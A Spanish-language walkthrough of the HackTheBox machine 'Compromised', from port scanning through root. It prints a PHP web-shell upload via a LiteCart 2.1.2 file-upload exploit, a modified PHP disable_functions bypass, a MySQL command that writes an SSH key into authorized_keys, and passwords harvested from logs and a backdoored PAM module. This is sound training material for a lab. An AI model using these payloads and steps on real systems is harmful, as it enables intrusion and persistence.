Compromised es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Compromised 10.10.10.207 a /etc/hosts como compromised.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
# Nmap 7.70 scan initiated Sat Dec 12 12:42:36 2020 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.207 Nmap scan report for 10.10.10.207 Host is up (0.053s latency). Not shown: 65533 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 6e:da:5c:8e:8e:fb:8e:75:27:4a:b9:2a:59:cd:4b:cb (RSA) | 256 d5:c5:b3:0d:c8:b6:69:e4:fb:13:a3:81:4a:15:16:d2 (ECDSA) |_ 256 35:6a:ee:af:dc:f8:5e:67:0d:bb:f3:ab:18:64:47:90 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) | http-title: Legitimate Rubber Ducks | Online Store |_Requested resource was http://10.10.10.207/shop/en/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Dec 12 12:44:52 2020 -- 1 IP address (1 host up) scanned in 136.17 seconds |
En este caso no vemos muchos servicios disponibles por lo que comenzaremos revisando el portal web existente a través del puerto 80.
Enumeración
Accedemos a través del navegador al puerto 80 de la máquina visualizando el siguiente portal web:

Revisamos un poco el portal y no vemos nada que pueda ayudarnos a continuar, aparte de la creación de una cuenta de usuario pero con la cual no podemos tampoco avanzar por el momento. Comenzaremos la enumeración de directorios y ficheros con el fin de conocer alguna ruta que nos ayude a avanzar, lanzaremos gobuster en primer lugar:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ gobuster dir -u http://10.10.10.207/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.207/ [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/12/12 12:50:33 Starting gobuster =============================================================== /shop (Status: 301) /backup (Status: 301) /server-status (Status: 403) =============================================================== 2020/12/12 12:54:47 Finished =============================================================== |
Y descubrimos el directorio de backup que puede traer cosas interesantes, así que accedemos al mismo y descubrimos lo siguiente:

En el mismo existe un fichero tar.gz descargamos el mismo y se trata de una copia del portal que vimos anteriormente, aśi que procedemos a revisar el mismo con el fin de descubrir alguna vulnerabilidad.
Analizando el código del mismo encontramos varias cosas interesantes, por un lado la versión de litecart en el fichero index.php:
1 2 3 4 5 6 7 8 9 10 11 |
$ head index.php <?php /*! * LiteCart® 2.1.2 * * Online Catalog and Shopping Cart Platform * * LiteCart is provided free without warranty. Use it at your own risk. * * @author LiteCart Dev Team <development@litecart.net> * @license http://creativecommons.org/licenses/by-nd/4.0/ CC BY-ND 4.0 |
También encontramos el salt de una password en el fichero config.inc.php:
1 2 3 4 |
$ grep -in pass config.inc.php 41: define('DB_PASSWORD', 'changethis'); 122:// Password Encryption Salt 123: define('PASSWORD_SALT', 'kg1T5n2bOEgF8tXIdMnmkcDUgDqOLVvACBuYGGpaFkOeMrFkK0BorssylqdAP48Fzbe8ylLUx626IWBGJ00ZQfOTgPnoxue1vnCN1amGRZHATcRXjoc6HiXw0uXYD9mI'); |
Y en el fichero login.php de la seccioón de admin un fichero txt oculto donde se almacenan las credenciales:
1 2 3 4 |
if (isset($_POST['login'])) { //file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']); user::login($_POST['username'], $_POST['password'], $redirect_url, isset($_POST['remember_me']) ? $_POST['remember_me'] : false); } |
Accederemos entonces a través del navegador al fichero txt descubierto en el fichero de login.php y conseguiremos las credenciales del usuario admin:
1 |
User: admin Passwd: theNextGenSt0r3!~ |
Y que utilizaremos para acceder a la cuenta de este usuario a través del portal de admin:

Utilizamos las claves obtenidas en este formulario y accederemos al portal donde veremos una sección similar a la siguiente captura:

Analizamos un poco el portal pero vamos a google directamente a buscar si existe alguna vulnerabilidad conocida acerca de la versión utilizada de litecart y encontramos una vulnerabilidad de Arbitrary File Upload y una poc de la misma:
https://medium.com/@foxsin34/litecart-2-1-2-arbitrary-file-upload-authenticated-1b962df55a45
Además de la poc explicada y el exploit existente en el mismo, encontramos otro exploit que nos ayudará más al menos en esta primera fase, y que utilizaremos para verificar la vulnerabilidad:
https://www.exploit-db.com/exploits/45267
Así que ejecutaremos el exploit para verificarla:
1 2 |
$ python litecart-exploit.py -t http://10.10.10.207/shop/admin/ -u admin -p 'theNextGenSt0r3!~' Shell => http://10.10.10.207/shop/admin/../vqmod/xml/I89VV.php?c=id |
Pero accedemos a dicha url y para nuestra sorpresa aparece vacío, es decir, no nos ha funcionado. Revisando en google y hablando con otros usuarios de htb parece que el exploit necesita de alguna modificación para funcionar, así que nos vamos al exploit y modificaremos el siguiente código:
1 2 3 4 5 |
files = { 'vqmod': (rand + ".php", "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); } ?>", "application/xml"), 'token':one, 'upload':(None,"Upload") } |
Por este otro:
1 2 3 4 5 |
files = { 'vqmod': (rand + ".php", "<?php phpinfo(); ?>", "application/xml"), 'token':one, 'upload':(None,"Upload") } |
Una vez hecha la modificación, ejecutaremos de nuevo el exploit:
1 2 |
$ python litecart-exploit.py -t http://10.10.10.207/shop/admin/ -u admin -p 'theNextGenSt0r3!~' Shell => http://10.10.10.207/shop/admin/../vqmod/xml/A71E2.php?c=id |
Y veremos la información de php a través del phpinfo:

En el mismo vemos la versión de php 7.2.24 pero además de esto vemos que hay una serie de funcionalidades de php que se encuentrar desactivadas:

Así que buscamos en google y encontramos un bug en php, el #74605 en el cual se pueden bypasear para poder habilitar de nuevo las mismas y que este bug afecta a las versiones php desde la 7.0 hasta la 7.3
Además de esto encontramos un exploit para bypassear esta configuración:
https://packetstormsecurity.com/files/154728/PHP-7.3-disable_functions-Bypass.html
Nos descargaremos dicho exploit, pero antes de continuar necesitaremos realizar una modificación en el mismo. Cambiaremos el siguiente código:
1 |
pwn("uname -a"); |
Por este otro:
1 |
pwn($_REQUEST["cmd"]); |
Ahora necesitaremos subir el fichero al portal web siguiendo los pasos descritos en la poc vista anteriormente o, utilizando el exploit mencionado en la misma, en nuestro caso por comodidad vamos a utilizar el script, así que procederemos a su ejecución:
1 2 3 |
$ python3 litecart-exploit.py [+] Login Success... [+] Shell Uploaded in http://10.10.10.207/shop/vqmod/xml/bypass.php |
La subida se ha realizado correctamente así que accederemos al navegador para obtener información del usuario que tiene abierto el mismo:

Y vemos que tenemos acceso con el usuario www-data, así que el siguiente paso será obtener el fichero /etc/passwd para descubrir los usuarios existentes en la máquina:

Y vemos una cosa muy interesante y es que el usuario mysql puede abrir una shell con bash por lo que será el camino a seguir a continuación para acceder a la máquina. Trataremos de ver las funciones del mismo lanzando la siguiente consulta a través de nuestro fichero bypass.php
1 |
mysql -u root -e SELECT * FROM mysql.func; |
Ahora que conocemos la configuración del mismo, al igual que vimos en el backup, vamos a intentar recuperar las credenciales del usuario de la base de datos a través del fichero config.inc.php y descubrimos lo siguiente:
1 2 |
define('DB_SERVER', 'localhost'); define('DB_USERNAME', 'root'); define('DB_PASSWORD', 'changethis'); define('DB_DATABASE', 'e com'); |
Ahora que ya conocemos las credenciales de acceso, lo utilizaremos para introducir nuestra clave ssh en el fichero authorized_keys de mysql y acceder por ssh a la máquina.
Creamos nuestra clave ssh y lanzaremos el siguiente comando a través del parámetro cmd:
1 |
mysql -u root -pchangethis -e "select exec_cmd('echo ssh-ed25519 AAAAC3N------XJt3 > ~/.ssh/authorized_keys');" |
Ahora sólo nos queda acceder a la máquina por ssh con la clave generada y el usuario mysql:
1 2 3 4 5 |
ssh -i mysql.pem mysql@10.10.10.207 Last login: Thu Sep 3 11:52:44 2020 from 10.10.14.2 mysql@compromised:~$ id uid=111(mysql) gid=113(mysql) groups=113(mysql) mysql@compromised:~$ |
Revisamos ahora en la home de este usuario y encontramos un fichero muy interesante llamado strace-log.dat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
mysql@compromised:~$ ls -l total 189260 -rw-r----- 1 mysql mysql 56 May 8 2020 auto.cnf -rw------- 1 mysql mysql 1680 May 8 2020 ca-key.pem -rw-r--r-- 1 mysql mysql 1112 May 8 2020 ca.pem -rw-r--r-- 1 mysql mysql 1112 May 8 2020 client-cert.pem -rw------- 1 mysql mysql 1676 May 8 2020 client-key.pem -rw-r--r-- 1 root root 0 May 8 2020 debian-5.7.flag drwxr-x--- 2 mysql mysql 12288 May 28 2020 ecom -rw-r----- 1 mysql mysql 527 Sep 12 19:53 ib_buffer_pool -rw-r----- 1 mysql mysql 79691776 Dec 12 11:44 ibdata1 -rw-r----- 1 mysql mysql 50331648 Dec 12 11:44 ib_logfile0 -rw-r----- 1 mysql mysql 50331648 May 27 2020 ib_logfile1 -rw-r----- 1 mysql mysql 12582912 Dec 12 15:24 ibtmp1 drwxr-x--- 2 mysql mysql 4096 May 8 2020 mysql drwxr-x--- 2 mysql mysql 4096 May 8 2020 performance_schema -rw------- 1 mysql mysql 1680 May 8 2020 private_key.pem -rw-r--r-- 1 mysql mysql 452 May 8 2020 public_key.pem -rw-r--r-- 1 mysql mysql 1112 May 8 2020 server-cert.pem -rw------- 1 mysql mysql 1680 May 8 2020 server-key.pem -r--r----- 1 root mysql 787180 May 13 2020 strace-log.dat drwxr-x--- 2 mysql mysql 12288 May 8 2020 sys mysql@compromised:~$ |
Así que revisamos el mismo y encontramos varias contraseñas:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
mysql@compromised:~$ cat strace-log.dat |grep -i password 22102 03:11:06 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39 22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0 22227 03:11:09 write(2, "[Warning] Using a password on th"..., 73) = 73 22102 03:11:10 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39 22228 03:11:15 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changeme"], 0x55bc62467900 /* 21 vars */) = 0 22228 03:11:15 write(2, "[Warning] Using a password on th"..., 73) = 73 22102 03:11:16 write(2, "mysql -u root --password='change"..., 35) = 35 22229 03:11:18 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changethis"], 0x55bc62467900 /* 21 vars */) = 0 22229 03:11:18 write(2, "[Warning] Using a password on th"..., 73) = 73 22232 03:11:52 openat(AT_FDCWD, "/etc/pam.d/common-password", O_RDONLY) = 5 22232 03:11:52 read(5, "#\n# /etc/pam.d/common-password -"..., 4096) = 1440 22232 03:11:52 write(4, "[sudo] password for sysadmin: ", 30) = 30 mysql@compromised:~$ |
Obteniendo la flag de user
Probamos el acceso con el usuario sysadm y una de las password descubiertas y conseguir escalar a este usuario.
Y si nos vamos a la home del mismo conseguimos la flag de user:
1 2 3 4 5 6 7 8 9 10 11 |
mysql@compromised:~$ su sysadmin Password: sysadmin@compromised:/var/lib/mysql$ id uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin) sysadmin@compromised:/var/lib/mysql$ cd sysadmin@compromised:~$ ls -l total 4 -r--r----- 1 root sysadmin 33 Dec 12 11:45 user.txt sysadmin@compromised:~$ cat user.txt 6xxxxxxxxxxxxxxxxxxxx7 sysadmin@compromised:~$ |
Con esto ya tenemos completada la mitad de la máquina, ahora vamos a por root.
Escalado de privilegios
Ahora que ya estamos con el usuario sysadm utilizaremos la herramienta de linpeas para enumerar el sistema y encontramos un fichero sospechoso y que debereos de analizar:
1 2 |
sysadmin@compromised:/tmp$ ll /lib/x86_64-linux-gnu/security/.pam_unix.so -rw-r--r-- 1 root root 198440 Aug 31 03:25 /lib/x86_64-linux-gnu/security/.pam_unix.so |
Descargaremos el mismo en nuestra máquina y lo analizaremos con la herramienta radare2 y encontramos una password en la función pam_sm_authenticate

Así que utilizaremos la misma para poder escalar privilegios a root y bingo, somos root:
1 2 3 4 5 |
sysadmin@compromised:/tmp$ su - Password: root@compromised:~# id uid=0(root) gid=0(root) groups=0(root) root@compromised:~# |
Obteniendo la flag de root
Ahora que somos root sólo nos queda ir a la home de este usuario y conseguir nuestra flag:
1 2 3 4 5 6 |
root@compromised:~# ls -l total 4 -r-------- 1 root root 33 Dec 12 11:45 root.txt root@compromised:~# cat root.txt 3xxxxxxxxxxxxxxxxxxxxxxxxx4 root@compromised:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace